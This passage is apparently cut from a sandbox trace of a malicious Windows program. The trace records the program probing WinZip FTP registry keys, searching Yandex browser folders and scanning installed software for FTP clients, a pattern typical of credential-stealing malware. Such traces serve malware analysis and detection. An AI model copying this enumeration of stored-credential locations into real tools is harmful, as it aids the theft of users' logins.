hKey=0x80000002, lpSubKey="Software\\Nico Mak Computing\\WinZip\\FTP", phkResult=0x12fed4 | out: phkResult=0x12fed4*=0x0) returned 0x2 [0079.687] RegOpenKeyA (in: hKey=0x80000001, lpSubKey="Software\\Nico Mak Computing\\WinZip\\mru\\jobs", phkResult=0x12fed4 | out: phkResult=0x12fed4*=0x0) returned 0x2 [0079.687] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="Software\\Nico Mak Computing\\WinZip\\mru\\jobs", phkResult=0x12fed4 | out: phkResult=0x12fed4*=0x0) returned 0x2 [0079.687] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.687] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x148, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.687] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fed4*=0x10, cb=0x4, pcbWritten=0x12feb0 | out: pcbWritten=0x12feb0*=0x4) returned 0x0 [0079.687] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.687] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x140, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.687] IStream:SetSize (This=0x6405d0, libNewSize=0x140) returned 0x0 [0079.687] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.687] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.687] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x4147e5*=0x2, cb=0x8, pcbWritten=0x12fea8 | out: pcbWritten=0x12fea8*=0x8) returned 0x0 [0079.687] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fed0*=0x0, cb=0x4, pcbWritten=0x12feac | out: pcbWritten=0x12feac*=0x4) returned 0x0 [0079.687] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fee4*=0x54, cb=0x2, pcbWritten=0x12fea8 | out: pcbWritten=0x12fea8*=0x2) returned 0x0 [0079.687] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fee8*=0x0, cb=0x2, pcbWritten=0x12fea8 | out: pcbWritten=0x12fea8*=0x2) returned 0x0 [0079.687] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x66b940 [0079.687] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x66b940 | out: pszPath="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned 0x0 [0079.687] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned 32 [0079.687] lstrlenA (lpString="\\Yandex") returned 7 [0079.687] LocalAlloc (uFlags=0x40, uBytes=0xa8) returned 0x629248 [0079.687] lstrcpyA (in: lpString1=0x629248, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming" [0079.687] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming", lpString2="\\Yandex" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Yandex") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Yandex" [0079.687] LocalFree (hMem=0x66b940) returned 0x0 [0079.687] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Yandex") returned 39 [0079.688] lstrlenA (lpString="\\*.*") returned 4 [0079.688] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x647ab8 [0079.688] lstrcpyA (in: lpString1=0x647ab8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Yandex" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Yandex") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Yandex" [0079.688] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Yandex", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Yandex\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Yandex\\*.*" [0079.688] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Yandex\\*.*", lpFindFileData=0x12fd62 | out: lpFindFileData=0x12fd62) returned 0xffffffff [0079.688] LocalFree (hMem=0x647ab8) returned 0x0 [0079.688] LocalFree (hMem=0x629248) returned 0x0 [0079.688] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x66b940 [0079.688] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x66b940 | out: pszPath="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned 0x0 [0079.688] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned 32 [0079.688] lstrlenA (lpString="\\Yandex") returned 7 [0079.688] LocalAlloc (uFlags=0x40, uBytes=0xa8) returned 0x629248 [0079.688] lstrcpyA (in: lpString1=0x629248, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming" [0079.688] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming", lpString2="\\Yandex" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Yandex") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Yandex" [0079.688] LocalFree (hMem=0x66b940) returned 0x0 [0079.688] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Yandex") returned 39 [0079.688] lstrlenA (lpString="\\*.*") returned 4 [0079.688] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x647ab8 [0079.688] lstrcpyA (in: lpString1=0x647ab8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Yandex" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Yandex") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Yandex" [0079.688] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Yandex", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Yandex\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Yandex\\*.*" [0079.688] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Yandex\\*.*", lpFindFileData=0x12fd62 | out: lpFindFileData=0x12fd62) returned 0xffffffff [0079.688] LocalFree (hMem=0x647ab8) returned 0x0 [0079.688] LocalFree (hMem=0x629248) returned 0x0 [0079.688] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x66b940 [0079.688] SHGetFolderPathA (in: hwnd=0x0, csidl=28, hToken=0x0, dwFlags=0x0, pszPath=0x66b940 | out: pszPath="C:\\Users\\EEBsYm5\\AppData\\Local") returned 0x0 [0079.688] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local") returned 30 [0079.688] lstrlenA (lpString="\\Yandex") returned 7 [0079.688] LocalAlloc (uFlags=0x40, uBytes=0xa6) returned 0x629248 [0079.688] lstrcpyA (in: lpString1=0x629248, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local") returned="C:\\Users\\EEBsYm5\\AppData\\Local" [0079.688] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local", lpString2="\\Yandex" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Yandex") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Yandex" [0079.688] LocalFree (hMem=0x66b940) returned 0x0 [0079.688] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Yandex") returned 37 [0079.688] lstrlenA (lpString="\\*.*") returned 4 [0079.688] LocalAlloc (uFlags=0x40, uBytes=0xaa) returned 0x647ab8 [0079.688] lstrcpyA (in: lpString1=0x647ab8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Yandex" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Yandex") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Yandex" [0079.688] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Yandex", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Yandex\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Yandex\\*.*" [0079.689] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Yandex\\*.*", lpFindFileData=0x12fd62 | out: lpFindFileData=0x12fd62) returned 0xffffffff [0079.689] LocalFree (hMem=0x647ab8) returned 0x0 [0079.689] LocalFree (hMem=0x629248) returned 0x0 [0079.689] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x66b940 [0079.689] SHGetFolderPathA (in: hwnd=0x0, csidl=28, hToken=0x0, dwFlags=0x0, pszPath=0x66b940 | out: pszPath="C:\\Users\\EEBsYm5\\AppData\\Local") returned 0x0 [0079.689] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local") returned 30 [0079.689] lstrlenA (lpString="\\Yandex") returned 7 [0079.689] LocalAlloc (uFlags=0x40, uBytes=0xa6) returned 0x629248 [0079.689] lstrcpyA (in: lpString1=0x629248, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local") returned="C:\\Users\\EEBsYm5\\AppData\\Local" [0079.689] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local", lpString2="\\Yandex" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Yandex") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Yandex" [0079.689] LocalFree (hMem=0x66b940) returned 0x0 [0079.689] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Yandex") returned 37 [0079.689] lstrlenA (lpString="\\*.*") returned 4 [0079.689] LocalAlloc (uFlags=0x40, uBytes=0xaa) returned 0x647ab8 [0079.689] lstrcpyA (in: lpString1=0x647ab8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Yandex" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Yandex") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Yandex" [0079.689] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Yandex", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Yandex\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Yandex\\*.*" [0079.689] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Yandex\\*.*", lpFindFileData=0x12fd62 | out: lpFindFileData=0x12fd62) returned 0xffffffff [0079.689] LocalFree (hMem=0x647ab8) returned 0x0 [0079.689] LocalFree (hMem=0x629248) returned 0x0 [0079.689] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x66b940 [0079.689] SHGetFolderPathA (in: hwnd=0x0, csidl=35, hToken=0x0, dwFlags=0x0, pszPath=0x66b940 | out: pszPath="C:\\ProgramData") returned 0x0 [0079.689] lstrlenA (lpString="C:\\ProgramData") returned 14 [0079.689] lstrlenA (lpString="\\Yandex") returned 7 [0079.689] LocalAlloc (uFlags=0x40, uBytes=0x96) returned 0x670c38 [0079.689] lstrcpyA (in: lpString1=0x670c38, lpString2="C:\\ProgramData" | out: lpString1="C:\\ProgramData") returned="C:\\ProgramData" [0079.689] lstrcatA (in: lpString1="C:\\ProgramData", lpString2="\\Yandex" | out: lpString1="C:\\ProgramData\\Yandex") returned="C:\\ProgramData\\Yandex" [0079.689] LocalFree (hMem=0x66b940) returned 0x0 [0079.689] lstrlenA (lpString="C:\\ProgramData\\Yandex") returned 21 [0079.689] lstrlenA (lpString="\\*.*") returned 4 [0079.689] LocalAlloc (uFlags=0x40, uBytes=0x9a) returned 0x652d58 [0079.689] lstrcpyA (in: lpString1=0x652d58, lpString2="C:\\ProgramData\\Yandex" | out: lpString1="C:\\ProgramData\\Yandex") returned="C:\\ProgramData\\Yandex" [0079.689] lstrcatA (in: lpString1="C:\\ProgramData\\Yandex", lpString2="\\*.*" | out: lpString1="C:\\ProgramData\\Yandex\\*.*") returned="C:\\ProgramData\\Yandex\\*.*" [0079.689] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Yandex\\*.*", lpFindFileData=0x12fd62 | out: lpFindFileData=0x12fd62) returned 0xffffffff [0079.690] LocalFree (hMem=0x652d58) returned 0x0 [0079.690] LocalFree (hMem=0x670c38) returned 0x0 [0079.690] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x66b940 [0079.690] SHGetFolderPathA (in: hwnd=0x0, csidl=35, hToken=0x0, dwFlags=0x0, pszPath=0x66b940 | out: pszPath="C:\\ProgramData") returned 0x0 [0079.690] lstrlenA (lpString="C:\\ProgramData") returned 14 [0079.690] lstrlenA (lpString="\\Yandex") returned 7 [0079.690] LocalAlloc (uFlags=0x40, uBytes=0x96) returned 0x670c38 [0079.690] lstrcpyA (in: lpString1=0x670c38, lpString2="C:\\ProgramData" | out: lpString1="C:\\ProgramData") returned="C:\\ProgramData" [0079.690] lstrcatA (in: lpString1="C:\\ProgramData", lpString2="\\Yandex" | out: lpString1="C:\\ProgramData\\Yandex") returned="C:\\ProgramData\\Yandex" [0079.690] LocalFree (hMem=0x66b940) returned 0x0 [0079.690] lstrlenA (lpString="C:\\ProgramData\\Yandex") returned 21 [0079.690] lstrlenA (lpString="\\*.*") returned 4 [0079.690] LocalAlloc (uFlags=0x40, uBytes=0x9a) returned 0x652d58 [0079.690] lstrcpyA (in: lpString1=0x652d58, lpString2="C:\\ProgramData\\Yandex" | out: lpString1="C:\\ProgramData\\Yandex") returned="C:\\ProgramData\\Yandex" [0079.690] lstrcatA (in: lpString1="C:\\ProgramData\\Yandex", lpString2="\\*.*" | out: lpString1="C:\\ProgramData\\Yandex\\*.*") returned="C:\\ProgramData\\Yandex\\*.*" [0079.690] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Yandex\\*.*", lpFindFileData=0x12fd62 | out: lpFindFileData=0x12fd62) returned 0xffffffff [0079.690] LocalFree (hMem=0x652d58) returned 0x0 [0079.690] LocalFree (hMem=0x670c38) returned 0x0 [0079.690] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.690] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x148, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.690] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fed4*=0x10, cb=0x4, pcbWritten=0x12feb0 | out: pcbWritten=0x12feb0*=0x4) returned 0x0 [0079.690] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.690] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x140, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.690] IStream:SetSize (This=0x6405d0, libNewSize=0x140) returned 0x0 [0079.690] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.690] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.690] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x4147e5*=0x2, cb=0x8, pcbWritten=0x12fea0 | out: pcbWritten=0x12fea0*=0x8) returned 0x0 [0079.691] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fec8*=0x0, cb=0x4, pcbWritten=0x12fea4 | out: pcbWritten=0x12fea4*=0x4) returned 0x0 [0079.691] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fedc*=0x55, cb=0x2, pcbWritten=0x12fea0 | out: pcbWritten=0x12fea0*=0x2) returned 0x0 [0079.691] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fee0*=0x0, cb=0x2, pcbWritten=0x12fea0 | out: pcbWritten=0x12fea0*=0x2) returned 0x0 [0079.691] StrStrIA (lpFirst="Adobe Flash Player ActiveXAdobe Flash Player 10 ActiveX", lpSrch="My FTP") returned 0x0 [0079.691] StrStrIA (lpFirst="Adobe Flash Player PluginAdobe Flash Player 10 Plugin", lpSrch="My FTP") returned 0x0 [0079.691] StrStrIA (lpFirst="Google ChromeGoogle Chrome", lpSrch="My FTP") returned 0x0 [0079.691] StrStrIA (lpFirst="Mozilla Firefox 25.0 (x86 en-US)Mozilla Firefox 25.0 (x86 en-US)", lpSrch="My FTP") returned 0x0 [0079.691] StrStrIA (lpFirst="MozillaMaintenanceServiceMozilla Maintenance Service", lpSrch="My FTP") returned 0x0 [0079.691] StrStrIA (lpFirst="Office14.PRJPRORMicrosoft Project Professional 2010", lpSrch="My FTP") returned 0x0 [0079.691] StrStrIA (lpFirst="Office14.PROPLUSRMicrosoft Office Professional Plus 2010", lpSrch="My FTP") returned 0x0 [0079.691] StrStrIA (lpFirst="Office14.VISIORMicrosoft Visio Professional 2010", lpSrch="My FTP") returned 0x0 [0079.691] StrStrIA (lpFirst="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}Microsoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005", lpSrch="My FTP") returned 0x0 [0079.691] StrStrIA (lpFirst="{26A24AE4-039D-4CA4-87B4-2F83217045FF}Java 7 Update 45", lpSrch="My FTP") returned 0x0 [0079.691] StrStrIA (lpFirst="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}Microsoft Visual C++ 2012 Redistributable (x86) - 11.0.61030", lpSrch="My FTP") returned 0x0 [0079.691] StrStrIA (lpFirst="{444C5574-6BE0-323E-9BDD-922F6C3C4A04}Microsoft .NET Framework 4.6", lpSrch="My FTP") returned 0x0 [0079.691] StrStrIA (lpFirst="{582EA838-9199-3518-A05C-DB09462F68EC}Microsoft Visual C++ 2017 x86 Minimum Runtime - 14.10.25017", lpSrch="My FTP") returned 0x0 [0079.691] StrStrIA (lpFirst="{68306422-7C57-373F-8860-D26CE4BA2A15}Microsoft Visual C++ 2017 x86 Additional Runtime - 14.10.25017", lpSrch="My FTP") returned 0x0 [0079.691] StrStrIA (lpFirst="{710f4c1c-cc18-4c49-8cbf-51240c89a1a2}Microsoft Visual C++ 2005 Redistributable", lpSrch="My FTP") returned 0x0 [0079.691] StrStrIA (lpFirst="{90140000-0015-0409-0000-0000000FF1CE}Microsoft Office Access MUI (English) 2010", lpSrch="My FTP") returned 0x0 [0079.691] StrStrIA (lpFirst="{90140000-0016-0409-0000-0000000FF1CE}Microsoft Office Excel MUI (English) 2010", lpSrch="My FTP") returned 0x0 [0079.691] StrStrIA (lpFirst="{90140000-0018-0409-0000-0000000FF1CE}Microsoft Office PowerPoint MUI (English) 2010", lpSrch="My FTP") returned 0x0 [0079.691] StrStrIA (lpFirst="{90140000-0019-0409-0000-0000000FF1CE}Microsoft Office Publisher MUI (English) 2010", lpSrch="My FTP") returned 0x0 [0079.691] StrStrIA (lpFirst="{90140000-001A-0409-0000-0000000FF1CE}Microsoft Office Outlook MUI (English) 2010", lpSrch="My FTP") returned 0x0 [0079.691] StrStrIA (lpFirst="{90140000-001B-0409-0000-0000000FF1CE}Microsoft Office Word MUI (English) 2010", lpSrch="My FTP") returned 0x0 [0079.692] StrStrIA (lpFirst="{90140000-001F-0409-0000-0000000FF1CE}Microsoft Office Proof (English) 2010", lpSrch="My FTP") returned 0x0 [0079.692] StrStrIA (lpFirst="{90140000-001F-0409-0000-0000000FF1CE}_Office14.PRJPROR_{99ACCA38-6DD3-48A8-96AE-A283C9759279}Microsoft Office 2010 Service Pack 1 (SP1)", lpSrch="My FTP") returned 0x0 [0079.692] StrStrIA (lpFirst="{90140000-001F-0409-0000-0000000FF1CE}_Office14.PROPLUSR_{99ACCA38-6DD3-48A8-96AE-A283C9759279}Microsoft Office 2010 Service Pack 1 (SP1)", lpSrch="My FTP") returned 0x0 [0079.692] StrStrIA (lpFirst="{90140000-001F-040C-0000-0000000FF1CE}Microsoft Office Proof (French) 2010", lpSrch="My FTP") returned 0x0 [0079.692] StrStrIA (lpFirst="{90140000-001F-040C-0000-0000000FF1CE}_Office14.PRJPROR_{46298F6A-1E7E-4D4A-B5F5-106A4F0E48C6}Microsoft Office 2010 Service Pack 1 (SP1)", lpSrch="My FTP") returned 0x0 [0079.692] StrStrIA (lpFirst="{90140000-001F-040C-0000-0000000FF1CE}_Office14.PROPLUSR_{46298F6A-1E7E-4D4A-B5F5-106A4F0E48C6}Microsoft Office 2010 Service Pack 1 (SP1)", lpSrch="My FTP") returned 0x0 [0079.692] StrStrIA (lpFirst="{90140000-001F-0C0A-0000-0000000FF1CE}Microsoft Office Proof (Spanish) 2010", lpSrch="My FTP") returned 0x0 [0079.692] StrStrIA (lpFirst="{90140000-001F-0C0A-0000-0000000FF1CE}_Office14.PRJPROR_{DEA87BE2-FFCC-4F33-9946-FCBE55A1E998}Microsoft Office 2010 Service Pack 1 (SP1)", lpSrch="My FTP") returned 0x0 [0079.692] StrStrIA (lpFirst="{90140000-001F-0C0A-0000-0000000FF1CE}_Office14.PROPLUSR_{DEA87BE2-FFCC-4F33-9946-FCBE55A1E998}Microsoft Office 2010 Service Pack 1 (SP1)", lpSrch="My FTP") returned 0x0 [0079.692] StrStrIA (lpFirst="{90140000-002C-0409-0000-0000000FF1CE}Microsoft Office Proofing (English) 2010", lpSrch="My FTP") returned 0x0 [0079.692] StrStrIA (lpFirst="{90140000-002C-0409-0000-0000000FF1CE}_Office14.PRJPROR_{7CA93DF4-8902-449E-A42E-4C5923CFBDE3}Microsoft Office 2010 Service Pack 1 (SP1)", lpSrch="My FTP") returned 0x0 [0079.692] StrStrIA (lpFirst="{90140000-002C-0409-0000-0000000FF1CE}_Office14.PROPLUSR_{7CA93DF4-8902-449E-A42E-4C5923CFBDE3}Microsoft Office 2010 Service Pack 1 (SP1)", lpSrch="My FTP") returned 0x0 [0079.692] StrStrIA (lpFirst="{90140000-0044-0409-0000-0000000FF1CE}Microsoft Office InfoPath MUI (English) 2010", lpSrch="My FTP") returned 0x0 [0079.692] StrStrIA (lpFirst="{90140000-0054-0409-0000-0000000FF1CE}Microsoft Office Visio MUI (English) 2010", lpSrch="My FTP") returned 0x0 [0079.692] StrStrIA (lpFirst="{90140000-0054-0409-0000-0000000FF1CE}_Office14.VISIOR_{CDC4310F-8189-485F-B47D-D972217CE173}Microsoft Office 2010 Language Pack Service Pack 1 (SP1)", lpSrch="My FTP") returned 0x0 [0079.692] StrStrIA (lpFirst="{90140000-006E-0409-0000-0000000FF1CE}Microsoft Office Shared MUI (English) 2010", lpSrch="My FTP") returned 0x0 [0079.692] StrStrIA (lpFirst="{90140000-006E-0409-0000-0000000FF1CE}_Office14.PRJPROR_{4560037C-E356-444A-A015-D21F487D809E}Microsoft Office 2010 Service Pack 1 (SP1)", lpSrch="My FTP") returned 0x0 [0079.692] StrStrIA (lpFirst="{90140000-006E-0409-0000-0000000FF1CE}_Office14.PROPLUSR_{4560037C-E356-444A-A015-D21F487D809E}Microsoft Office 2010 Service Pack 1 (SP1)", lpSrch="My FTP") returned 0x0 [0079.693] StrStrIA (lpFirst="{90140000-00A1-0409-0000-0000000FF1CE}Microsoft Office OneNote MUI (English) 2010", lpSrch="My FTP") returned 0x0 [0079.693] StrStrIA (lpFirst="{90140000-00B4-0409-0000-0000000FF1CE}Microsoft Office Project MUI (English) 2010", lpSrch="My FTP") returned 0x0 [0079.693] StrStrIA (lpFirst="{90140000-00B4-0409-0000-0000000FF1CE}_Office14.PRJPROR_{18A0C151-8F8A-4B68-A960-60C464B94329}Microsoft Project 2010 Service Pack 1 (SP1)", lpSrch="My FTP") returned 0x0 [0079.693] StrStrIA (lpFirst="{90140000-00BA-0409-0000-0000000FF1CE}Microsoft Office Groove MUI (English) 2010", lpSrch="My FTP") returned 0x0 [0079.693] StrStrIA (lpFirst="{90140000-0115-0409-0000-0000000FF1CE}Microsoft Office Shared Setup Metadata MUI (English) 2010", lpSrch="My FTP") returned 0x0 [0079.693] StrStrIA (lpFirst="{90140000-0115-0409-0000-0000000FF1CE}_Office14.PRJPROR_{4560037C-E356-444A-A015-D21F487D809E}Microsoft Office 2010 Service Pack 1 (SP1)", lpSrch="My FTP") returned 0x0 [0079.693] StrStrIA (lpFirst="{90140000-0115-0409-0000-0000000FF1CE}_Office14.PROPLUSR_{4560037C-E356-444A-A015-D21F487D809E}Microsoft Office 2010 Service Pack 1 (SP1)", lpSrch="My FTP") returned 0x0 [0079.693] StrStrIA (lpFirst="{90140000-0117-0409-0000-0000000FF1CE}Microsoft Office Access Setup Metadata MUI (English) 2010", lpSrch="My FTP") returned 0x0 [0079.693] StrStrIA (lpFirst="{91140000-0011-0000-0000-0000000FF1CE}Microsoft Office Professional Plus 2010", lpSrch="My FTP") returned 0x0 [0079.693] StrStrIA (lpFirst="{91140000-003B-0000-0000-0000000FF1CE}Microsoft Office Project Professional 2010", lpSrch="My FTP") returned 0x0 [0079.693] StrStrIA (lpFirst="{91140000-003B-0000-0000-0000000FF1CE}_Office14.PRJPROR_{8A8F117F-8EDB-440D-B679-F08909D729F7}Microsoft Project 2010 Service Pack 1 (SP1)", lpSrch="My FTP") returned 0x0 [0079.693] StrStrIA (lpFirst="{91140000-0057-0000-0000-0000000FF1CE}Microsoft Office Visio 2010", lpSrch="My FTP") returned 0x0 [0079.693] StrStrIA (lpFirst="{91140000-0057-0000-0000-0000000FF1CE}_Office14.VISIOR_{01D8AE4B-A04D-47E5-81BF-E3F98B81B8C3}Microsoft Visio 2010 Service Pack 1 (SP1)", lpSrch="My FTP") returned 0x0 [0079.693] StrStrIA (lpFirst="{92FB6C44-E685-45AD-9B20-CADF4CABA132} - 1033Microsoft .NET Framework 4.6", lpSrch="My FTP") returned 0x0 [0079.693] StrStrIA (lpFirst="{9BE518E6-ECC6-35A9-88E4-87755C07200F}Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161", lpSrch="My FTP") returned 0x0 [0079.693] StrStrIA (lpFirst="{AC76BA86-7AD7-FFFF-7B44-AA0000000001}Adobe Reader X MUI", lpSrch="My FTP") returned 0x0 [0079.693] StrStrIA (lpFirst="{B175520C-86A2-35A7-8619-86DC379688B9}Microsoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030", lpSrch="My FTP") returned 0x0 [0079.693] StrStrIA (lpFirst="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}Microsoft Visual C++ 2012 x86 Minimum Runtime - 11.0.61030", lpSrch="My FTP") returned 0x0 [0079.693] StrStrIA (lpFirst="{e6e75766-da0f-4ba2-9788-6ea593ce702d}Microsoft Visual C++ 2013 Redistributable (x86) - 12.0.30501", lpSrch="My FTP") returned 0x0 [0079.694] StrStrIA (lpFirst="{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}Microsoft Visual C++ 2010 x86 Redistributable - 10.0.40219", lpSrch="My FTP") returned 0x0 [0079.694] StrStrIA (lpFirst="{f325f05b-f963-4640-a43b-c8a494cdda0f}Microsoft Visual C++ 2017 Redistributable (x86) - 14.10.25017", lpSrch="My FTP") returned 0x0 [0079.694] StrStrIA (lpFirst="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}Microsoft Visual C++ 2013 x86 Additional Runtime - 12.0.21005", lpSrch="My FTP") returned 0x0 [0079.694] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.694] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x148, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.694] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fecc*=0x10, cb=0x4, pcbWritten=0x12fea8 | out: pcbWritten=0x12fea8*=0x4) returned 0x0 [0079.694] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.694] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x140, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.694] IStream:SetSize (This=0x6405d0, libNewSize=0x140) returned 0x0 [0079.694] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.694] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.694] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x4147e5*=0x2, cb=0x8, pcbWritten=0x12fea8 | out: pcbWritten=0x12fea8*=0x8) returned 